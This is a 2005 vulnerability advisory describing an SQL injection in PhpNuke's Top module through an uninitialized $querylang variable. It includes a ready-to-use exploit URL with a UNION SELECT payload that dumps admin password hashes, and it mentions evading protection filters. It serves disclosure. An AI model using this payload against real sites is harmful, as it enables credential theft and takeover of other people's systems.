[waraxe-2005-SA#041] - Critical Sql Injection in PhpNuke 6.x-7.6 Top module

[Janek Vind <come2waraxe () yahoo com>]

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{                              [waraxe-2005-SA#041]                              }
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{             [ Critical Sql Injection in PhpNuke 6.x-7.6 Top module ]           }
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Author: Janek Vind "waraxe"
Date: 06. April 2005
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-41.html


Target software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular opensource content management system, written in php by
Francisco Burzi. This CMS is used on many thousands websites, because it's 
freeware, easy to install and manage and has broad set of features.

Homepage: http://phpnuke.org


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Like title says, this time the sql injection security hole have been found in
phpnuke "Top" module. Lets look @ source code of the phpnuke 7.6 top module
index file (/modules/Top/index.php) ~ line 186:

[original source code]

/* Top 10 Polls */

$result8 = $db->sql_query("select * from ".$prefix."_poll_desc $queryplang");

if ($db->sql_numrows($result8)>0) {
echo "<table border=\"0\" cellpadding=\"10\" width=\"100%\"><tr><td align=\"left\">\n"
."<font class=\"option\"><b>$top "._VOTEDPOLLS."</b></font><br><br><font class=\"content\">\n";
$lugar = 1;

$result9 = sql_query("SELECT pollID, pollTitle, timeStamp, voters FROM ".$prefix."_poll_desc
$querylang order by voters DESC limit 0,$top", $dbi);

$counter = 0;

[/original source code]

And what's the problem? It appears, that variable "$querylang" is uninitialized. So, if we
will "poison" php variable space through GET/POST/COOKIE, then sql query manipulation is
possible.

[real life exploit]

http://localhost/nuke76/modules.php?name=Top&querylang=%20WHERE%201=2%20UNION
%20ALL%20SELECT%201,pwd,1,1%20FROM%20nuke_authors/*

[/real life exploit]


... and as result we can see md5 hashes of all the admin passwords in place, where normally
top 10 votes can be seen :)
Of course, mysql version 4.x must be used with enabled union functionality. And if there are
Sentinel or similar protection systems installed, additional measures must be used to evade them.

Have a nice day!


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

For help look @ http://www.waraxe.us/forums.html


Additional resources:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Free Base64 decoder and encoder - http://base64-encoder-online.waraxe.us/

SiteMapper - free php script for phpNuke powered websites -
newest version 0.4 can be downloaded @ http://sitemapper.waraxe.us/


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to LINUX, murdock, g0df4th3r, slimjim100, shai-tan, y3dips and
all other active members from my forum !

Special greets to Heintz - congrats about phpbb sploit finding !

Tervitused - Raido Kerna !

Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    come2waraxe () yahoo com
    Janek Vind "waraxe"

    Homepage: http://www.waraxe.us/

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